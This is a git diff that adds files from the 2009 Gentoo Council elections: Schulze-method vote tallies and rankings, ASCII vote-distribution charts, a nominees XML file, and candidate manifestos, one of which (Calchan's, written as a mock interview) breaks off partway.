+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     98     41     32     44     58     55     39     49    ***     73     54     40     53     45
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option peper is eliminated (dev-zero trans-defeats peper, and peper does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero, gentoofan23, patrick, scarabeus, ssuominen}
+scarabeus+gentoofan23 50 gentoofan23+scarabeus 49
+scarabeus+dev-zero 52 dev-zero+scarabeus 51
+ssuominen+scarabeus 52 scarabeus+ssuominen 50
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+patrick 54 patrick+ssuominen 53
+patrick+scarabeus 54 scarabeus+patrick 41
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+patrick+gentoofan23 55 gentoofan23+patrick 50
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+patrick+dev-zero 58 dev-zero+patrick 53
+
+the Schwartz set is {dev-zero, gentoofan23, patrick, scarabeus, ssuominen}
+scarabeus+dev-zero 52 dev-zero+scarabeus 51
+ssuominen+scarabeus 52 scarabeus+ssuominen 50
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+patrick 54 patrick+ssuominen 53
+patrick+scarabeus 54 scarabeus+patrick 41
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+patrick+gentoofan23 55 gentoofan23+patrick 50
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+patrick+dev-zero 58 dev-zero+patrick 53
+
+option scarabeus is eliminated (dev-zero trans-defeats scarabeus, and scarabeus does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero, gentoofan23, patrick, ssuominen}
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+patrick 54 patrick+ssuominen 53
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+patrick+gentoofan23 55 gentoofan23+patrick 50
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+patrick+dev-zero 58 dev-zero+patrick 53
+
+option gentoofan23 is eliminated (dev-zero trans-defeats gentoofan23, and gentoofan23 does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero, patrick, ssuominen}
+ssuominen+patrick 54 patrick+ssuominen 53
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+patrick+dev-zero 58 dev-zero+patrick 53
+
+option dev-zero is eliminated (patrick trans-defeats dev-zero, and dev-zero does not trans-defeat patrick)
+option ssuominen is eliminated (dev-zero trans-defeats ssuominen, and ssuominen does not trans-defeat dev-zero)
+the Schwartz set is {patrick}
+
+result: option patrick wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     84     31     38     38    ***     40     43     45     53     66     51     40     57     51
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option peper is eliminated (dev-zero trans-defeats peper, and peper does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero, gentoofan23, scarabeus, ssuominen}
+scarabeus+gentoofan23 50 gentoofan23+scarabeus 49
+scarabeus+dev-zero 52 dev-zero+scarabeus 51
+ssuominen+scarabeus 52 scarabeus+ssuominen 50
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+
+the Schwartz set is {dev-zero, gentoofan23, scarabeus, ssuominen}
+scarabeus+dev-zero 52 dev-zero+scarabeus 51
+ssuominen+scarabeus 52 scarabeus+ssuominen 50
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+
+option scarabeus is eliminated (dev-zero trans-defeats scarabeus, and scarabeus does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero, gentoofan23, ssuominen}
+gentoofan23+dev-zero 53 dev-zero+gentoofan23 40
+ssuominen+gentoofan23 55 gentoofan23+ssuominen 52
+dev-zero+ssuominen 57 ssuominen+dev-zero 53
+
+option gentoofan23 is eliminated (dev-zero trans-defeats gentoofan23, and gentoofan23 does not trans-defeat dev-zero)
+option ssuominen is eliminated (dev-zero trans-defeats ssuominen, and ssuominen does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero}
+
+result: option dev-zero wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen    102     33     29     32     53     55     40     39     54     74     52     30    ***     34
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (gentoofan23 trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat gentoofan23)
+option gentoofan23 is eliminated (scarabeus trans-defeats gentoofan23, and gentoofan23 does not trans-defeat scarabeus)
+option peper is eliminated (gentoofan23 trans-defeats peper, and peper does not trans-defeat gentoofan23)
+option scarabeus is eliminated (ssuominen trans-defeats scarabeus, and scarabeus does not trans-defeat ssuominen)
+the Schwartz set is {ssuominen}
+
+result: option ssuominen wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus    104     37     31     37     52     50     37     43     41     73    ***     37     50     34
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (gentoofan23 trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat gentoofan23)
+option gentoofan23 is eliminated (scarabeus trans-defeats gentoofan23, and gentoofan23 does not trans-defeat scarabeus)
+option peper is eliminated (gentoofan23 trans-defeats peper, and peper does not trans-defeat gentoofan23)
+the Schwartz set is {scarabeus}
+
+result: option scarabeus wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+        gentoofan23     95     33     29     44     53    ***     45     47     50     69     49     34     52     43
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (gentoofan23 trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat gentoofan23)
+option peper is eliminated (gentoofan23 trans-defeats peper, and peper does not trans-defeat gentoofan23)
+the Schwartz set is {gentoofan23}
+
+result: option gentoofan23 wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+        gentoofan23     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     72     12      9     14     22     15     19     25     29    ***     22     20     26     17
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (peper trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat peper)
+the Schwartz set is {peper}
+
+result: option peper wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  calch  derto  dev-z  gento   leio  lu_ze  patri  peper  scara  solar  ssuom    ulm
+_reopen_nominations    ***     15      7      8     37     27     19     22     23     46     18     14     19     10
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+            calchan     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+         dertobi123     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           dev-zero     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+        gentoofan23     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+               leio     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            lu_zero     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+              peper     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1
+              solar     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {_reopen_nominations}
+
+result: option _reopen_nominations wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+solar
+betelgeuse
+calchan
+dertobi123
+ulm
+leio
+lu_zero
+patrick
+dev-zero
+ssuominen
+scarabeus
+gentoofan23
+peper
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-vote-distribution.txt b/xml/htdocs/proj/en/elections/council/2009/council-200906-vote-distribution.txt
new file mode 100644
index 00000000..6cd9fbba
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-vote-distribution.txt
@@ -0,0 +1,168 @@
+  solar (1)
+|#             
+|#             
+|#             
+|#             
+|#             
+|#             
+|#    #        
+|#######    ## 
+|##############
++--------------
+
+  betelgeuse (2)
+|              
+|              
+|              
+|              
+|#             
+|# #           
+|###    #      
+|###### ##  ## 
+|############# 
++--------------
+
+  calchan (3)
+|              
+|              
+|              
+|#             
+|#             
+|#             
+|# ###  #      
+|###### ####   
+|##############
++--------------
+
+  dertobi123 (4)
+|              
+|              
+|              
+|              
+|#             
+|#             
+|# # ##    #   
+|####### # #   
+|############# 
++--------------
+
+  ulm (5)
+|              
+|              
+|              
+|              
+|              
+|#             
+|# # ##  #     
+|###########   
+|############# 
++--------------
+
+  leio (6)
+|              
+|              
+|              
+|              
+|              
+|# #           
+|### #     #   
+|### ######### 
+|############# 
++--------------
+
+  lu_zero (7)
+|              
+|              
+|              
+|              
+|              
+|#             
+|# # #  ##     
+|### ## #####  
+|############# 
++--------------
+
+  patrick (8)
+|              
+|              
+|              
+|              
+|              
+|    #         
+|  # #  #  # # 
+|### ## ###### 
+|###### ###### 
++--------------
+
+  dev-zero (9)
+|              
+|              
+|              
+|              
+|              
+|#           # 
+|# #       ### 
+|#####  # #### 
+|##############
++--------------
+
+  ssuominen (10)
+|              
+|              
+|              
+|              
+|              
+|              
+|     # ### #  
+|# ##########  
+|# ########### 
++--------------
+
+  scarabeus (11)
+|              
+|              
+|              
+|              
+|              
+|    #         
+|    #  ###    
+|# ########### 
+|##############
++--------------
+
+  gentoofan23 (12)
+|              
+|              
+|              
+|              
+|              
+|              
+|# #      # #  
+|# # ######### 
+|##############
++--------------
+
+  peper (13)
+|              
+|              
+|              
+|              
+|           ## 
+|          ### 
+|         #### 
+|    #  ###### 
+|### ##########
++--------------
+
+  _reopen_nominations (14)
+|              
+|              
+|              
+|            # 
+|           ## 
+|        #  ## 
+|        ######
+|       #######
+|#   ##########
++--------------
+
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200912-nominees.xml b/xml/htdocs/proj/en/elections/council/2009/council-200912-nominees.xml
new file mode 100644
index 00000000..af89edc5
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200912-nominees.xml
@@ -0,0 +1,44 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/2009/council-200912-nominees.xml,v 1.8 2010/01/11 04:16:35 jmbsvicetto Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2009/2010 Nominations</title>
+
+<author title="Election Official">
+  <mail link=""/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="NeddySeagoon"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<date>2010-01-04</date>
+<version>7</version>
+
+<nominations from="2009-12-17" to="2009-12-30">
+  <nominee accepted="yes" platform="http://dev-zero.ch/blog/articles/6/manifest">dev-zero</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~patrick/Manifesto.html">patrick</nominee>
+  <nominee accepted="yes" platform="http://archives.gentoo.org/gentoo-dev/msg_efb47c9ab56987e5b8e909cf4a1b7605.xml">scarabeus</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~tanderson/2009Manifesto/manifesto.html">tanderson</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~wired/manifesto_2010-01.txt">wired</nominee>
+
+  <nominee ></nominee>
+
+  <nominee accepted="no" >darkside</nominee>
+  <nominee accepted="no" devrel="yes">jmbsvicetto</nominee>
+  <nominee accepted="no" council="yes">lu_zero</nominee>
+  <nominee accepted="no" >tove</nominee>
+<!-- examples
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee > </nominee>
+-->
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200912-rank.txt b/xml/htdocs/proj/en/elections/council/2009/council-200912-rank.txt
new file mode 100644
index 00000000..089d8af2
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200912-rank.txt
@@ -0,0 +1,6 @@
+scarabeus
+patrick
+wired
+tanderson
+dev-zero
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200912-results.txt b/xml/htdocs/proj/en/elections/council/2009/council-200912-results.txt
new file mode 100644
index 00000000..f6e27b5d
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200912-results.txt
@@ -0,0 +1,131 @@
+_reopen_nominations
+dev-zero
+patrick
+scarabeus
+tanderson
+wired
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     54    ***     32     25     33     33
+            patrick     55     45    ***     29     48     45
+          scarabeus     69     49     39    ***     51     45
+          tanderson     52     35     30     22    ***     26
+              wired     60     38     32     22     43    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (patrick trans-defeats dev-zero, and
+dev-zero does not trans-defeat patrick)
+option patrick is eliminated (scarabeus trans-defeats patrick, and
+patrick does not trans-defeat scarabeus)
+option tanderson is eliminated (patrick trans-defeats tanderson, and
+tanderson does not trans-defeat patrick)
+option wired is eliminated (patrick trans-defeats wired, and wired does
+not trans-defeat patrick)
+the Schwartz set is {scarabeus}
+
+
+result: option scarabeus wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     54    ***     32     25     33     33
+            patrick     55     45    ***     29     48     45
+          scarabeus     -1     -1     -1    +++     -1     -1
+          tanderson     52     35     30     22    ***     26
+              wired     60     38     32     22     43    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (patrick trans-defeats dev-zero, and
+dev-zero does not trans-defeat patrick)
+option tanderson is eliminated (patrick trans-defeats tanderson, and
+tanderson does not trans-defeat patrick)
+option wired is eliminated (patrick trans-defeats wired, and wired does
+not trans-defeat patrick)
+the Schwartz set is {patrick}
+
+
+result: option patrick wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     54    ***     32     25     33     33
+            patrick     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1    +++     -1     -1
+          tanderson     52     35     30     22    ***     26
+              wired     60     38     32     22     43    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (tanderson trans-defeats dev-zero, and
+dev-zero does not trans-defeat tanderson)
+option tanderson is eliminated (wired trans-defeats tanderson, and
+tanderson does not trans-defeat wired)
+the Schwartz set is {wired}
+
+
+result: option wired wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     54    ***     32     25     33     33
+            patrick     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1    +++     -1     -1
+          tanderson     52     35     30     22    ***     26
+              wired     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+option dev-zero is eliminated (tanderson trans-defeats dev-zero, and
+dev-zero does not trans-defeat tanderson)
+the Schwartz set is {tanderson}
+
+result: option tanderson wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     54    ***     32     25     33     33
+            patrick     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1    +++     -1     -1
+          tanderson     -1     -1     -1     -1    +++     -1
+              wired     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat dev-zero)
+the Schwartz set is {dev-zero}
+
+result: option dev-zero wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z  patri  scara  tande  wired
+_reopen_nominations    ***     33     32     18     34     27
+           dev-zero     -1    +++     -1     -1     -1     -1
+            patrick     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1    +++     -1     -1
+          tanderson     -1     -1     -1     -1    +++     -1
+              wired     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {_reopen_nominations}
+
+result: option _reopen_nominations wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+scarabeus
+patrick
+wired
+tanderson
+dev-zero
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/betelgeuse.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/betelgeuse.txt
new file mode 100644
index 00000000..99d540c4
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/betelgeuse.txt
@@ -0,0 +1,77 @@
+Betelgeuse's manifesto for 2009 elections
+=========================================
+
+Background
+----------
+
+* Gentoo developer since 2005
+* Java project lead since 2007
+* Recruiters project lead since 2007
+* Council member since 2007
+
+Basically I should have needed technical background for most matters. If am
+elected, I won't be dropping out in the middle of the term unless of I get hit
+by a bus etc.
+
+Current Priorities
+------------------
+
+1. Things that make me money
+2. University studies
+3. Golf
+4. Gentoo
+
+Don't expect me to be able to work on Gentoo full time but as can be seen from
+gentoo-dev I do try to keep active on the mailing list and follow things in
+general. `My commit stats <http://cia.vc/stats/author/betelgeuse>`_
+
+What I care about?
+------------------
+
+* Technical issues
+* Making ebuild writing easier --> new EAPIs
+
+Some argue that knowing all different EAPIs is hard. Usually developers only
+need to know the latest one as when writing ebuilds you can just use the latest
+one.
+
+Things I don't find interesting
+-------------------------------
+
+* Handling personal conflicts
+
+Ideally we would all just get along but of course that's not realistic. I spend
+my free time on Gentoo so I rather spend it on things I find interesting but if
+need be I can also make decisions on these matters (and they won't be done with
+a random number generator).
+
+Good ideas for council meetings (not necessarily my own)
+--------------------------------------------------------
+
+* If something is doesn't make a meeting because of time constraints it should be first on the agenda next time
+* More voting instead of just discussion
+* Make it easier to do/follow council work
+
+  - Maybe a web application would help (prioritizing agenda,voting etc)
+
+My opinions on some issues that come to mind
+--------------------------------------------
+
+* GLEP 55: We need this in the long term
+
+  - I don't particularly care about the way the goals are met as long as the
+    decision is done based on technical merits
+
+* PMS: Documenting Portage behavior is good
+
+  - Portage has changed behavior without EAPI bumps which we must avoid
+  - Ideally the figure head would be a Gentoo developer
+
+* email me and I will add things if you want my opinion on something
+
+What Gentoo needs?
+------------------
+
+Gentoo needs people actually writing code for core parts like Portage.
+Discussion and specifications do you little good if Portage doesn't gain 
+support for new EAPIs.
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/calchan.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/calchan.txt
new file mode 100644
index 00000000..62174325
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/calchan.txt
@@ -0,0 +1,191 @@
+:Author: Denis Dupeyron (Calchan)
+:Contact: calchan@gentoo.org
+:Date: 02 Jun 2009
+
+(Note that this document may be updated over time, so pay attention to the
+above date)
+
+The following is presented as a fake interview. Because we all know it's a lot
+easier to answer trivial questions you wrote yourself.
+
+
+=============
+Who are you?
+=============
+
+I've been using Gentoo almost exclusively since 2002, more exactly just before
+it turned 1.0. I came as a developer 3 years ago for the sci-electronics herd,
+and joined dev-embedded soon after, mostly because Daniel (Black) asked me
+nicely. Since then I've touched and accepted the maintenance of various
+packages. I don't maintain that many packages since I like to do things
+properly and I have other tasks in Gentoo.
+
+
+=========================
+No, who are you *really*?
+=========================
+
+Oh, that! My real name is Denis Dupeyron, but Calchan is how my wife has always
+called me. I usually sign "Denis" but feel free to call me Calchan as even my
+mother-in-law calls me this way. I'm French, my wife is Japanese, my son was
+born in Belgium and my daughter was born in France. I've lived in the US
+previously and I'm currently back there, but also lived in France obviously, in
+Belgium and in the Netherlands. This whole international thing defines me a
+lot. I have been lucky to meet quite a few of you physically on both sides of
+the Atlantic, and it's been a great experience every single time.
+
+
+===================
+And professionally?
+===================
+
+I have worked in a lot of places over the past 20 years. Mostly as an engineer
+or project leader in the IC design industry, but there were a few other very
+different and fun jobs. More recently I've been in the hearing implant business
+for 7 years. I have a PhD EE and a couple of master's degrees.
+
+=======================================
+You said you had other tasks in Gentoo?
+=======================================
+
+First I'm a recruiter. I haven't done any recruiting since I went away about 8
+months ago due to living in airports. I have resumed working on Gentoo two
+months ago and I'm gradually restarting all my activities one by one, so
+recruiting will come back at some point. It will basically happen as soon as
+I'm done mentoring Rafael Martins who will join us as a developer for
+sci-electronics. He will be the first one since plasmaroo abandoned me more
+than two years ago. I consider recruiting more than just interviewing recruits.
+I believe almost anybody can become a Gentoo developer and that it's the
+mentor's and recruiter's task to get the candidate up to speed. And since we
+can't ask mentors to always have all of the necessary skills for that, I
+consider it is the recruiter's responsibility to fill in the gaps. I favor
+social skills over technical skills as the formers are hard to get by and the
+latters can be acquired over time. I also insist a lot on how to behave
+properly as a developer during recruiting reviews, and I believe that it's what
+it will take in the long run to get that cultural change we needed so badly not
+so long ago. I like to think that some of it has already happened.
+
+I'm also a devrel member. Most of what we do in there occurs in the background
+(on purpose) so it isn't very visible. My goal is simply to make sure that our
+devs are developing happily and that they can focus on that. Things I do are
+for example resolving disputes, defusing situations before they can even be
+called disputes, making sure elections of a Lead of a major project are being
+held, trying to tame some of our alpha males, etc... It doesn't always work,
+but it's always worth a try.
+
+
+=======================================
+So what are your plans for the council?
+=======================================
+
+None of the above. The council is about technical and strategic issues so I
+will not confuse it with devrel. You can however expect the same kind of honest
+and pragmatic management and problem-solving attitude from me. Here's what I'm
+hoping the new council will work on:
+
+The daily grind
+---------------
+
+Because we all know there's a lot to do. And in case we get bored, well, see
+below.
+
+git migration
+-------------
+
+Figure out with Robin what he needs to make this happen in a reasonable amount
+of time. If that's a monthly subscription to the local strip joint I'm OK with
+it. He says he needs more time (as in more than 24 hours everyday), but I'm
